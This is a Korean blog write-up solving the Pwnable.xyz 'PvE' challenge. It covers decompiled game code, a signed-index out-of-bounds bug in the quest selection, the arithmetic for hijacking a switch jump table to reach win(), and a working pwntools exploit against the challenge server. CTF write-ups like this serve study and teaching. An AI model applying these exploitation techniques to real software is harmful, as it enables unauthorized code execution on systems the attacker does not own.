tmxklab

[Pwnable.xyz] PvE 본문

War Game/Pwnable.xyz

[Pwnable.xyz] PvE

tmxk4221 2020. 9. 9. 22:34

1. 문제

nc svc.pwnable.xyz 30042

 

1) mitigation 확인

 

2) 문제 확인

  • name, race, class를 설정한 뒤 PvP 또는 Question을 진행한다.

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  init_game();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        if ( !hero )
          create_char();
        print_char();
        print_menu();
        v3 = read_int();
        if ( v3 != 1 )
          break;
        pvp();
      }
      if ( v3 != 2 )
        break;
      pve();
    }
    if ( !v3 )
      break;
    puts("Invalid");
  }
  free(hero);
  return 0;
}
  • init_game()을 호출하여 게임에 대한 세팅을 하고 while루프가 시작된다.
  • hero가 존재하지 않으면 create_char()를 호출
  • 메뉴 1 → pvp(), 메뉴 2 → pve()

 

3-2) create_char()

void *create_char()
{
  _DWORD *v0; // rbx
  void *result; // rax

  hero = malloc(0x40uLL);
  printf("Name: ");
  read(0, hero, 0x10uLL);
  printf("Race: ");
  read(0, (char *)hero + 16, 0x10uLL);
  printf("Class: ");
  read(0, (char *)hero + 48, 0x19uLL);
  v0 = hero;
  v0[10] = rand() % 100;
  result = hero;
  *((_DWORD *)hero + 11) = 1;
  return result;
}
  • hero(전역변수) = malloc(0x40)
  • name → read(0, hero, 0x10)
  • race → read(0, hero+16, 0x10)
  • class → read(0, hero+48, 0x19)
  • hero[10] = rand()%100 (0 ~ 100까지 난수)
  • *(hero + 11) = 1

 

3-3) pvp()

unsigned __int64 pvp()
{
  _DWORD *v0; // rbx
  unsigned int v2; // [rsp+Ch] [rbp-64h]
  unsigned int v3; // [rsp+Ch] [rbp-64h]
  char v4; // [rsp+10h] [rbp-60h]
  int v5; // [rsp+38h] [rbp-38h]
  unsigned __int64 v6; // [rsp+58h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  memset(&v4, 0, 0x40uLL);
  strcpy(&v4, "Player Unknown");
  v5 = rand() % 100;
  do
  {
    v2 = rand() % 10;
    printf("%s deals %d dmg on %s\n", &v4, v2, hero);
    *((_DWORD *)hero + 10) -= v2;
    if ( !*((_DWORD *)hero + 10) || *((_DWORD *)hero + 10) < 0 )
    {
      printf(&byte_401648, hero);
      free(hero);
      hero = 0LL;
      return __readfsqword(0x28u) ^ v6;
    }
    v3 = rand() % 10 * *((_DWORD *)hero + 11);
    printf("%s deals %d dmg on %s\n", hero, v3, &v4);
    v5 -= v3;
  }
  while ( v5 && v5 >= 0 );
  printf(&byte_401648, &v4);
  ++*((_DWORD *)hero + 11);
  v0 = hero;
  v0[10] = rand() % 100;
  return __readfsqword(0x28u) ^ v6;
}
  • player unknown과 hero간에 서로 랜덤한 값으로 데미지를 입혀서 싸움
  • hero가 지면 hero를 free하고 널 바이트를 넣는다.
  • player unknown과 이기면(v5가 0보다 작으면) while루프를 빠져 나간다.
    • ++ *(hero + 11), hero[10] = rand() % 100
  • 데미지는 랜덤한 값으로 서로 HP를 깎는다.
    • unknown → hero : rand() % 10
    • hero → unknown : rand() % 10 * (hero레벨), 즉 hero의 레벨이 높을수록 유리

 

3-4) pve()

__int64 pve()
{
  _QWORD *v0; // rbx
  __int64 pick; // [rsp+8h] [rbp-18h]

  if ( *((_DWORD *)hero + 11) <= 5 )
  {
    v0 = hero;
    v0[4] = (char *)&quests + 196 * (rand() % 4);
  }
  else
  {
    print_quests();
    printf("Pick a quest: ");
    pick = read_int();
    if ( pick <= 3 )
      *((_QWORD *)hero + 4) = (char *)&quests + 196 * pick;
  }
  return play_quest(*((_QWORD *)hero + 4));
}
  • hero레벨이 5보다 작거나 같은 경우
    • hero[4] = quests + 196 * (rand() % 4)
  • hero레벨이 5보다 큰 경우
    • pick = read_int(); if(pick <=3 )
    • *(hero + 4) = &quests + 196 * pick
  • 이후에 *(hero+4)를 파라미터로 play_quest()를 호출한다.
  • 즉, 레벨이 못미치면 랜덤한 값으로 선택해서 퀘스트를 진행하고 레벨이 되면은 선택해서 퀘스트를 진행할 수 있음


3-5) play_quest()

int __fastcall play_quest(__int64 a1)
{
  int result; // eax
  signed int v2; // ebx
  signed int v3; // ebx

  result = *(_DWORD *)(a1 + 192);
  while ( 2 )
  {
    switch ( result )
    {
      case 0:
        printf("%s\n\t%s\n", *((_QWORD *)hero + 4), *((_QWORD *)hero + 4) + 64LL);
        answer[0] = rand();
        printf("Quest: %s\n", answer);
        answer[0] ^= read_int();
        result = answer[0];
        if ( !answer[0] )
        {
          result = (int)hero;
          ++*((_DWORD *)hero + 11);
        }
        break;
      case 1:
        printf("%s\n\t%s\n", *((_QWORD *)hero + 4), *((_QWORD *)hero + 4) + 64LL);
        answer[0] = rand();
        printf("Quest: %s\n", answer);
        sprintf(s1, "%d", answer[0]);
        read(0, s2, 0x10uLL);
        result = strcmp(s1, s2);
        if ( !result )
        {
          result = (int)hero;
          ++*((_DWORD *)hero + 11);
        }
        break;
      case 2:
        printf("%s\n\t%s\n", *((_QWORD *)hero + 4), *((_QWORD *)hero + 4) + 64LL);
        answer[0] = rand();
        printf("Quest: %s\n", answer);
        answer[0] += read_int();
        result = answer[0];
        if ( !answer[0] )
        {
          result = (int)hero;
          ++*((_DWORD *)hero + 11);
        }
        break;
      case 3:
        printf("%s\n\t%s\n", *((_QWORD *)hero + 4), *((_QWORD *)hero + 4) + 64LL);
        answer[0] = rand();
        printf("Quest: %s\n", answer);
        v2 = answer[0];
        v3 = v2 >> read_int();
        result = v3 & 1;
        if ( !(v3 & 1) )
        {
          result = (int)hero;
          ++*((_DWORD *)hero + 11);
        }
        break;
      case 4:
      case 5:
        return result;
      default:
        continue;
    }
    break;
  }
  return result;
}
  • case 0 : rand()값을 받은 answer[0]와 입력 값과 xor연산을 진행한 후 0이되면 result에 hero값을 넣고 레벨업한다.
  • case 1 : rand()값을 받은 s1과 입력 값 s2와 문자열 비교한 후 동일하면 result에 hero값을 넣고 레벨 업한다.
    • read(0, s2, 0x10)이 중요함
  • case 2 : rand()값을 받은 answer[0]와 입력 값을 더한 값이 0이면 result에 hero값을 넣고 레벨업 한다.
  • case 3 : v3(answer[0] >> read_int())와 1이랑 and연산을 진행한 값을 result에 저장, 이후에 다시 v3와 1이랑 and연산을 진행한 후 0이면 result에 hero값을 넣고 레벨 업한다.

 

 


2. 접근방법

 

1) hero 및 quests 구조 확인

1-1) hero

 

1-2) quests

 

 

2) pve() 취약점 -> OOB

else
  {
    print_quests();
    printf("Pick a quest: ");
    v2 = read_int();
    if ( v2 <= 3 )
      *((_QWORD *)hero + 4) = (char *)&quests + 0xC4 * v2;
  }
  return play_quest(*((_QWORD *)hero + 4));
}

v2를 입력으로 받아서 v2가 3보다 작거나 같은 경우 hero청크에 quests주소를 넣는다. v2의 자료형은 __int64, singned이므로 음수 값을 넣어도 if문에 만족하다.OOB

그리고 play_quest()의 파라미터로 *(hero+4)가 들어간다.

 

 

3) play_quest()

switch case문에서 jmp rax를 하는 것을 확인할 수 있다. 그러면 rax값이 어떻게 세팅되는지 디버깅을 통해서 자세히 살펴보자

 

  • rdi에는 play_quest()의 파라미터로 들어간 *(hero+4)의 값 즉, hero청크에 들어있는 quests 주소 값이 들어있다.
  • mov eax, DWORD PTR [rax+0xc0]까지 실행되면 " eax = [ 0x602364 + 0xc0 ] " 로 세팅된다.

 

즉, eax에는 hero의 quests주소 값으로부터 0xc0떨어진 index값이 세팅된다.

 

이후에 실행되는 인스트럭션이다.

rax값까지 간략히 요약하면 다음과 같다.

 

rdx = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ]

rax = 0x401674

rax = rax + rdx = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ] + 0x401674

 

 

이제 저 부분을 이용해서 rax에 win()주소가 되기 위해서는

 

win addr : 0x400a8c

rax = 0x400a8c = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ] + 0x401674

       = 0x400a8c - 0x401674 = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ]

       = 0xffff ffff ffff f418 = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ]

 

즉, (*(hero+4) + 0xc0) * 4 + 0x401674 주소에 0xffff f418이 존재해야 한다.

(참고로, play_quest()+49부분을 보면 mov eax, [rdx + rax*1]이므로 4byte만 가져오므로 0xffff f418(4byte)가 있어야 한다.)

 

그럼 특정 주소에 0xfff f418값을 쓰기 위해서 play_quests()의 case 1에서 read(0, s2, 0x10)을 이용하여 s2에 값을 넣고 나중에 s2를 가리키도록 하면 된다.

  • s2+4(0x6025e0+4) = 0xffff f418

 

다시 돌아와서 (*(hero+4) + 0xc0) * 4 + 0x401674 주소가 0x6025e4이 되도록 해야 한다. (왜냐하면 s2에 값을 작성햇으므로)

(*(hero+4) + 0xc0) * 4 + 0x401674 = 0x6025e4

(*(hero+4) + 0xc0) * 4 = 0x6025e4 - 0x401674 = 0x200f70

*(hero+4) + 0xc0 = 0x200f6c / 4 = 0x803dc

 

 

여기까지 정리해보면 s2에는 다음과 같이 세팅되어야 한다.

즉, 0x6025e0을 quests의 index라고 하면 quests + 0xc0위치에 0x6025e0이 되어야 하는 것이다.

 

그럼 마지막으로 v2에 어떤 값이 와야 하는지 살펴보면

*(hero + 4) = &quests(0x6022a0) + 0xc4 * v2 = 0x6025e0 - 0xc0

0xc4 * v2 = 0x602520 - 0x6022a0

0xc4 * v2 = 0x280

 

하지만 여기서 문제가 발생한다.

v2가 3보다 작거나 같아야 하므로 위 식을 풀면은 v2는 3보다 큰 양수가 나오므로 진행할 수 가 없다.

 

 

해결 방법)

0x1 0000 0000 0000 0000 = 0x0이라는 점을 이용

0xc4 * v2 - 0x280 = 0x1 0000 0000 0000 000

참고 : https://wogh8732.tistory.com/238

 

0xc4 * v2 = 0x1 0000 0000 0000 0280
v2 = 0x1 0000 0000 0000 0280
0 = 0x1 0000 0000 0000 0280 / v2

여기서 좌항이 0이 나오도록 v2의 값을 찾아야 한다.

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30042)

while True :
        data = p.recv(timeout=1)

        if 'Level: 6' in data :
                break

        p.send(str(1))

# payload(8bytes)
payload = p32((0x6025E4-0x401674) // 4) # s2 (quests->index)
payload += p32((0x400A8c-0x401674) & 0xFFFFFFFF) # s2 + 4 (win() -0x401674)
#gdb.attach(p)

# 1. Input payload at s2
p.send(str(2))
p.sendafter('quest: ', str(1))
p.sendafter('Quest: ', payload)

# 2. v2 -> oob
p.sendafter('> ', str(2))
p.sendafter('quest: ', '-0x21f58d0fac687d60\x00')

p.interactive()

익스코드 작성은 mineta님이 작성한 코드를 분석하면서 따라 썼다...

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] fishing  (0) 2020.09.09
[Pwnable.xyz] knum  (0) 2020.09.09
[Pwnable.xyz] note v3  (0) 2020.09.09
[Pwnable.xyz] door  (0) 2020.09.09
[Pwnable.xyz] child  (0) 2020.09.09
Comments